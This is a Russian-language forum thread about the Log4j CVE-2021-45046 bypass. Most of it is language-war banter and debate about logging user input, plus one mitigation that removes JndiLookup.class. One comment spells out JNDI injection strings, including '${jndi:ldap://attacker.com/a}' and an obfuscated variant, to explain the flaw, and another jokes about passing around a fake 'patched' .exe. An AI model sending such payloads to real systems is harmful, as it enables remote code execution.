URL: https://www.opennet.dev/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID3
Нить номер: 126150
[ Назад ]
Исходное сообщение
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленную защиту"
Отправлено opennews , 15-Дек-21 10:33 
В реализации подстановок JNDI в библиотеке  Log4j 2 выявлена ещё одна уязвимость (CVE-2021-45046), проявляющаяся несмотря на добавленные в выпуск 2.15 исправления и независимо от использования настройки "log4j2.noFormatMsgLookup" для защиты. Проблема представляет опасность в основном для старых версий Log4j 2, защищённых при помощи флага "noFormatMsgLookup", так как даёт возможность обойти защиту от прошлой узявимости (Log4Shell, CVE-2021-44228), позволяющей выполнить свой код на сервере. Для пользователей версии 2.15 эксплуатация ограничивается созданием условий для аварийного завершения приложения из-за исчерпания доступных ресурсов...

Подробнее: https://www.opennet.dev/opennews/art.shtml?num=56347

Содержание
Сообщения в этом обсуждении
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 10:33 
всё что сложнее колеса, помните?

з.ы. хачу ещё плюсиков

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено InuYasha , 15-Дек-21 10:33 
И снова "вакцина" не работает. Символично :)
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 11:07 
"Вакцина" да, не работает, в отличие от вакцин
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено DEF , 15-Дек-21 10:35 
Это какой-то позор?
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 10:36 
ну это каждый местный эксперт сам решает
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 10:40 
> Initial release    January 8, 2001; 20 years ago

Диды по-другому не могли, постоянно выдумывали какие-то "прикольные штуки" типа например IP-адреса, в котором вместо десятичных чисел какие-то другие. Вот и тут диды решили добавить "фичу".

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 11:33 
> Диды по-другому не могли, постоянно выдумывали какие-то "прикольные штуки" типа...

Диды писали и пушут на Си.
А джаверы - это растоманы v1.0, как и те, которые придумали IPv6.
Диды уже в те времена смотрели на них искоса.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 12:10 
> Диды писали и пушут на Си.

Ой ли? Традиционным языком дидов является пердл со страшными writeonly-регекспами. Вот и в этой cve чувствуется любовь дидов к прикольным)))) магическим))) строкам.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 13:00 
Ларри слабал perl в 1987 году
И Ларри, к сведению, лингвист. Делал для себя костылик, для применения в конкретном месте.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Урри , 15-Дек-21 13:24 
Что ты объясняешь этому мальчику?
Он только вчера прочитал магическое "этот язык вместо вас будет все программировать безопастно, за неделю можно стать программистом с шестизначной зарплатой" в подземном переходе и сейчас удивляется старперам, которые настолько глупы, что не следуют его примеру.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 15:58 
> Ой ли? Традиционным языком дидов является пердл со страшными writeonly-регекспами.

Я сам из дидов, но в пердл толком даже не умею. В скриптовых языках мне вообще всегда REXX больше всего нравился. Но сейчас уже мало дидов осталось, которые умеют в REXX.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Crazy Alex , 15-Дек-21 17:22 
Ну я вот в перл умею. И он не страшнее остального, что создавалось в его время. Больше того - если сравнивать с тем, что он заменил - а это shell, awk и sed - то он на порядок читабельнее и безопаснее.

У него есть и архаика, конечно - хотя бы отсутствие нормальных прототипов функций с именованными параметрами, да и читать что-то вроде $myMap->{$keysArray->{$index}} не совсем удобно, но, с другой стороны, это, кажется, единственный из скриптовых, различающий объекты и ссылки на них, что в своё время было необходимостью, позволяя экономить память. А вот все эти префиксы $%@ (скаляр, мапа, массив), в сущности, крайне удобны, потом отвыкал от них с грустью.

Регэкспы - тема отдельная, они везде страшные. Учитыавя сферу применения - а это прежде всего работа с текстами - то никуда от них не деться даже сейчас.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено ms is piace of s , 15-Дек-21 20:18 
/bin/bash находится одесную Отца. Не богохульствуй.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено ммнюмнюмус , 16-Дек-21 12:04 
> /bin/bash находится одесную Отца. Не богохульствуй.

Ошибка 1, 20: ожидалось предлог местоположения и направление после "находится".

Bash хорош для чего угодно кроме скриптов. Конечно, если это не однодневные васянские скрипты для решения задачи на месте. Если на распространение - то хотя бы на /bin/dash.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено keydon , 17-Дек-21 18:50 
Тоже скучаю, для скриптов удобнее питона, гораздо более читаемо чем баш, довольно лаконичен и не особо прожорлив.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 13:04 
>> Диды уже в те времена смотрели на них искоса.

Целевая аудитория java была - "для кого С++ слишком сложно". Можно сканы журналов ещё найти с оракловым маркетингом.

Смотрели на них, как на убогих

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено АнонимГоним , 15-Дек-21 13:50 
>Можно сканы журналов ещё найти с оракловым маркетингом.

Sun же, или уже забыли.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено YetAnotherOnanym , 15-Дек-21 14:56 
Ооо, даааа... Сам читал интервью с МакНили, которое кто-то вывесил на доске объявлений нашего мехмата, ещё в девяносто-хрен-знает-каком году. Прямо такие дифирамбы жабе пел, что куды ж там.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 22:53 
>> Sun же, или уже забыли.

Ох ты ж... Да, слиплись в памяти в одно.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 16-Дек-21 17:54 
> java

просто памяти не хватило

"я помню времена, когда жабисты обещали 'вот-вот' убить С++"
Отправлено примерно_36_скотинок , 15-Дек-21 13:59 
прямо как сейчас растаманы.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 14:59 
> Целевая аудитория java была - "для кого С++ слишком сложно"

Эм, и что в нём сложного? ЯП ВУ же. Под вопросом только читабельность кода из под клавиатуры особых "умельцев", это лично меня от него отталкивало всегда.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено DeadMustdie , 15-Дек-21 19:30 
> Эм, и что в нём сложного?

Метапрограммирование в целом и шаблоны в частности.
Множественное наследование классов.
Переопределение операторов, особенно в связке с шаблонами.

Все перечисленные выше инструменты крайне полезны, но притом довольно сложны в нетривиальных случаях.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено ms is piece of s , 15-Дек-21 20:26 
Один известный персонаж с усиками тоже имел привычку смотреть на некоторых как на убогих.
Тут дело не в ЯП, а в том, что "соль земли" отказывает себе в психологической помощи со стороны специалистов.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 23-Дек-21 12:01 
> Диды писали и пушут на Си.

От которых жабисты и научились в format vuln. Догнали и перегнали, акселерация.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Mike Lee , 15-Дек-21 11:47 
Э нет, в log4j 1.x этого не было.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 14:08 
Благодаря такому формату IP до сих пор нет Великого Российского Фаервола, потому что Шигорин так и не смог объяснить ФСБшникам что такое IP адрес. Деды знали что делали.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено X86 , 15-Дек-21 17:53 
Зато есть великий американский файрволл, и вот что с ним делать не знает никто.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 23-Дек-21 12:02 
Тут несколько опечаток в слове "китайский".
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Kuromi , 15-Дек-21 18:20 
Не, просто починили не коренную проблему, а залатали именно ту дырку на которую указали белые шапки. То что рядом еще россыпь и небольшая корректировка атаки позволяет снова бить в туже коренную уязвимость - "пожли пдечами".
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 10:43 
Надоели!!!! Log4j2 как сам, так и опасный контекст из vulnerability issue, использует полтора программиста на этой планете. Крики такие, как будто это реальная проблема. Похоже на откровенную попытку слива Java как технологии.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 10:55 
Как соотносится "использует полтора программиста" и подтверждённое проявление уязвимости в продуктах GitHub, Docker, Oracle, vmWare, Broadcom и Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, Intel, NATS, Trend Micro, Aruba Networks, Microsoft, Siemens и Rockwell?

Это одна из самых опасных уязвимостей за последние лет 5, из-за того, что затрагивает кучу банковского, телекоммуникационного, корпоративного и промышленного софта. И это только начало, дальше можно ждать волну supply chain атак после взлома инфраструктур производителей.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 11:01 
> Как соотносится "использует полтора программиста" и подтверждённое проявление уязвимости в продуктах GitHub, Docker, Oracle, vmWare, Broadcom и Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, Intel, NATS, Trend Micro, Aruba Networks, Microsoft, Siemens и Rockwell?

Фактом наличия в зависимостях проектов. То есть, никак, по факту.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено полураспад , 15-Дек-21 11:05 
в нормальном коде не выводятся параметры приходящие от пользователя в лог, плюс это проверка давно существует в анализаторах безопастности, они показывают где параметры из запросов логируются в лог
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 11:11 
Выходит "нормальный" по вашим представлениям код в корпоративной среде не встречается. Плюс на практике было показано как уязвимость работала в системах Amazon, Microsoft и многих других. У них "анализаторы безопасности" тоже какие-то неправильные?
К чему в таком случае вся эта ремарка?
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноньимъ , 15-Дек-21 18:43 
>Выходит "нормальный" по вашим представлениям код в корпоративной среде не встречается.

А ведь он прав.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 11:20 
Скажите это тем, кто пишет в лог значение User Agent, X-Forward-For и прочих заголовков. В логи такое пишут повсеместно.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Фняк , 15-Дек-21 11:55 
Это почему? Вот вызвали функцию с какими-то параметрами. Функция проверила параметры и какие-то из них не валидны. Перед тем как вернуть соответствующий код возврата она пишет в лог сообщение о том что вот не получилось выполнить работу потому во то условие не выполняется при вот этих входных параметрах. Пишет это она для админа на случай если к нему придут с вопросами «а почему не работает?» функция сама по себе понятия не имеет откуда переданные параметры взялись, от пользователя или ещё откуда
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено пох. , 15-Дек-21 11:58 
точно, нормальный код логает в лог только ok и error. Предоставляя гадать, что именно было ok и чего error.

Дайте угадаю - вы разработчик на модном языке?

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено quantic , 15-Дек-21 15:06 
Проблема не в том что значения от пользователя выводятся в лог, проблема в том что log4j их не фильтрует. Это их факап.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено john_erohin , 15-Дек-21 20:28 
> в нормальном коде не выводятся параметры приходящие от пользователя в лог,

врать не надо. навскидку:
apache выводит referer и user-agent (оба от пользователя) в combined log.
bind выводит попытки рекурсии от обнаглевших "сканеров безопастности" в лог.
что, у них ненормальный код ?

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 20:45 
Только эксперты с opennet знают как правильно писать код. Жаль что почему-то не пишут
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 11:22 
Это компании которые _сами_ подтвердили проявление уязвимости Log4j в своих продуктах. Логи с отражением User Agent по умолчанию ведут почти все корпоративные системы.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 11:58 
1) Далеко не все делают бесконтрольную подстановку данных, принятых от пользователя, непосредственно в ".. {}.." лога.
2) Не самый распространённый случай использования JNDI внутри организации.
3) Неплохо бы иметь доступ к ресурсам JNDI из сети, где расположен сервис.

А теперь вопрос - скольких компаний  это реально касается до такой степени, чтобы кричать "ужас-ужас"?

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 12:36 
> не все делают бесконтрольную подстановку данных, принятых от пользователя, непосредственно в ".. {}.." лога.

А как надо правильно логировать http запрос от пользователя?

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 12:45 
Любым способом, не подразумевающим подстановку поля, полученного от пользователя в конструкцию "{}". Вроде не сложно такой подобрать

PS: если руководствоваться здравым смыслом при написании программы, то случаев, когда значения HTTP-заголовков подставляются в log4j непосредственно, не так уж и много. И вообще, не приходит в голову, когда это может понадобиться.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Урри , 15-Дек-21 12:56 
А если {} уже в полученном от пользователя поле?
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 13:05 
msg.replace("{", "")


Ну, или, не используйте log4j2.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 13:17 
Вы лучше не используйте replace.

Ибо %7B

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 14:38 
%7B тоже log4j2 интерпретирует?
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Онаним , 16-Дек-21 09:10 
Вот, самое правильное предложение.
Тянуть в рот васянские поделки - зло. Тем более, что изобретение данного "велосипеда" - дело по сути минутное.
"то есть жабисты обосрались но изворачиваются"
Отправлено примерно_36_скотинок , 15-Дек-21 14:02 
утверждая, что их дерьмо надо было покрыть глазурью, посахарить и вот-тогда-то получится конфетка. просто видите ли говно неправильно готовят.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 14:51 
Если я подставлю допустим объект, содержащий тело и мапу заголовков - это нормально? Главное не подставить в {} строку со значением?
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 18:33 
Пример из оригинала - https://www.lunasec.io/docs/blog/log4j-zero-day/#example-vul...

Если нет в строке {..}, то ничего и не запустит. URL-decode оно само делать не умеет.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено YetAnotherOnanym , 15-Дек-21 15:07 
> А как надо правильно логировать http запрос от пользователя?

Дословно, с предварительным обеззараживанием, обесклычиванием, убеганием и прочими аналогичными процедурами.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 21:39 
Подскажите, как правильно обезораживать и обесклычивать в java?
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено YetAnotherOnanym , 16-Дек-21 15:43 
С этим обращайтесь на стаковерфлоу.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 19-Дек-21 10:07 
Что же ты пишешь что нужно обесклычивать если сам не знаешь как это делать?
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 13:40 
Достаточно любой подстановки внешних данных в лог, не важно как они переданы через подстановку или голой строкой. Главная проблема в этой узявимости, что Log4j сам разберёт "${..}" в выводимой строке, никаких особых подстановок для этого делать не нужно. Т.е.  написал в коде "logger.info(extvar);" и можно хакнуть, если есть возможность переть в  extvar что-то типа "${jndi:ldap://attacker.com/a}" или "${env:FOO:-j}ndi:${lower:L}da${lower:P}", как в примере в новости.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 14:46 
Как хорошо, что ничего кроме slf4j/logback у нас не используется....
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено пох. , 15-Дек-21 11:56 
Причем жопа в том что это как раз то о чем многажды говорили большевики - пытаясь заставить формошлепов использовать библиотеки операционной системы, а не намертво слинковать прожект с кучей мусора со всего интернета, непременнейше - наираспоследней версии на момент линковки.

Но это немодно, немолодежно и в модных-современных язычках вообще неосуществимо.

Поэтому в отличие от вполне тоже опасных и реальных уязвимостей в той же openssl - нельзя исправить большую часть проблем банально обновив "открытую" библиотеку. Будем сидеть и ждать пока орацле, броацом и амазоны с жуниперами разродятся - по каждому из миллиона своих подeлий отдельно.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено макпыф , 15-Дек-21 14:21 
просто системные либы могут быть разные. А модно молодежным програмистам хочется подключить 100500 либ, а вот поддерживать это все - нет. Потому просто бандлят единственно верную версию и статически/странным образом прибивают гвоздями. Обновляется это все конечно только в случае пинка под зад.

Потому мне приходится 100500 часов компилить забандленные в пакет либы (причем многолетней выдержки), когда я пару часов назад уже скомпилил их (причем актуальной версии). Можно конечно пытаться патчить все это дерьмо, на так как все заточенно под единственно верную версию - может быть очень много геморроя.

Итого: все это дерьмо с "релизами" где обновленна какая нибудь nss/log4j и многочасовая компиляция ни пойми чего.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 11:01 
У уязвимости есть уже подходящее имя? Предлагаю Log4jopa.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 11:15 
Log4calypse же
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Анимус , 15-Дек-21 11:30 
log4jShell
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 13:20 
Log4uckup
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Омномном2 , 15-Дек-21 13:25 
Смотреть бесплатно и без регистрации:

Amateurs Log4Codeshot compilation

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 11:13 
Где же тысячи глаз попенсорса??? которые должны находить каждую уазвимость за наносек после коммита???
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено eugener , 15-Дек-21 11:19 
Ну так вот и нашли.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 11:21 
*находить и не пущать в релиз
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено тысячегласс , 15-Дек-21 11:22 
Э, а вот так мы не договаривались!
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено eugener , 15-Дек-21 11:22 
Тогда это считалось фичей. Круто же, лукапить строчки из лога. А эти хакеры всё опошлили.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Урри , 15-Дек-21 12:58 
Старая история про солонки, да.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 12:09 
Про релиз договора не было. Было только про то что нашли.  
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено DeadMustdie , 15-Дек-21 19:38 
> Ну так вот и нашли.

Вроде нашёл инженер из Алибабы, в процессе сопровождения внутренностей алибабовских сервисов.
Ни разу не энтузиаст-бессребреник.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Анатолий , 15-Дек-21 12:17 
Простое решение уязвимости в любой версии - отказ от JNDI.

в библиотеке log4j-core-x.x.x.jar
удалить класс
/org/apache/logging/log4j/core/lookup/JndiLookup.class

и тогда конструкция ${jndi:...} просто не обрабатывается

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 12:21 
ща погодь, я на продакшоне сразу. Скинь плз на почту этот jar с удаленным классом, тимлид над душой стоит, целый банк уязвим как-никак
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Анатолий , 15-Дек-21 12:46 
у меня старый log4j версии 2.4
переход на 2.15.0 выл связан с несколькими несовместимости (используется runtime настройка логгеров)
Сделал log4j-core-2.4.2.jar залил в свой бинарный репозиторий (закрытый) и подключил его.

С любым log4j-core-х.х.х.jar можно проделать то же самое

еще раз расширенно: в библиотеке уделить класс
/org/apache/logging/log4j/core/lookup/JndiLookup.class

при загрузке системы инициализация библиотеки не найдет этот класс в выдаст в лог предупреждение:
JNDI lookup class is not available because this JRE does not support JNDI. JNDI string lookups will not be available, continuing configuration.

При этом все будет работать, но уязвимости не будет за неимением класса, в котором и была уязвимость

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено ms is piece of s , 15-Дек-21 20:57 
На, лови: log4j-core-2.4.2.jar.exe
Короче, это пофикшеный логфорджи, плюс он автоматически ищет другие либы логфорджи во всех каталогах ос и тоже их фиксит от уязвимости.
Отправь пожалуйста всем своим знакомым, скорее всего у них тоже где-нибудь да есть уязвимая версия.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено тигар.логиниться.лень , 17-Дек-21 11:58 
срочно переделай. распространять нужно  в виде даунлоадера правильной, патченной, JARки. Этим ты сможешь обеспечить страдальцам-рукозадам всегда свежую, правильную, версию.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним12345 , 15-Дек-21 12:48 
А я говорил - не ходите дети в африку гулять
Жаба - проприетарное зло
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 12:51 
> Жаба - проприетарное зло

Есть альтернатива?

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 13:58 
C#
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 14:40 
абсолютно не проприетарный без 99% контроля одной коммерческой компании?.... Самому не смешно?
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 15:29 
О, про него ещё кто-то помнит О_о
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 20:38 
Есть.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Урри , 15-Дек-21 12:58 
log4j вполне себе фри- и опенсорсный.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 14:19 
А ведь Java безопасно работает с памятью, а всё равно дыра как такое может быть?
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено cheater , 15-Дек-21 15:14 
При чем здесь память, это ошибка поведения - eval произвольных данных.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 15:28 
> ошибка поведения

И это - будущее раста.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 17:07 
> И это - будущее раста.

Это прошлое раста. В C++ этой проблемы уже давным давно нет.

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 15-Дек-21 21:44 
Более того добавлю. В С++ все эти проблемы которые вы тут вешаете на С были решены настолько давно, что про раст никто даже не думал. Так что забейте. Читайте книжки по C++ и будьте счастливы, удивитесь тому что всех этих проблем в C++ давным давно нет.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено _ , 16-Дек-21 19:41 
Ну да - если плюсы не юзать - плюсопроблем и нет ... Л-логика :)
Для дюбого Ёзыга подходит. А они все - ***но, потому как нет нет большой красной кноки "Сделать ЗБС!" ни в одном :(
:-D
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено gogo , 15-Дек-21 15:46 
Этого не может быть.
Это заговор, как китайский короновирус.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено ms is piece of s , 15-Дек-21 20:50 
А ведь люди сперва распарсевают смысл написанного, а всё равно задают глупые вопросы как такое может быть?
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 16-Дек-21 06:39 
> люди сперва распарсевают смысл написанного

Да ладно тебе. Ну кто таким заниматься будет?

"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Онаним , 15-Дек-21 20:23 
Ну всё, сейчас будут вместо того, чтобы eval убрать, городить кучу валидаций, и в итоге эти валидации всё равно будут обходить.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 18-Дек-21 02:56 
В любой валидации будет дыра, ведь код пишут прогосеки с растаманоподобными мозгами.
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Онаним , 18-Дек-21 19:00 
Это называется "за смузи проeval'и зияющую дырину".
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено anonymous , 15-Дек-21 22:48 
А ведь это даже не сишечка с переполнением буфера. А вполне кошерный менеджмент памяти со сборкой мусора. Может дело не в них?
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Онаним , 16-Дек-21 09:12 
Да как обычно, дело не в бобине...
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено _ , 16-Дек-21 19:39 
сейчас где то умер котё^W ржавчик. Как же так то?! ржавчина "нэ спасэ?!" ... какая боль ... ;-D
"Новый вариант атаки на Log4j 2, позволяющий обойти добавленн..."
Отправлено Аноним , 18-Дек-21 02:54 
Не только не спасает, а даже облегчает написание троянов.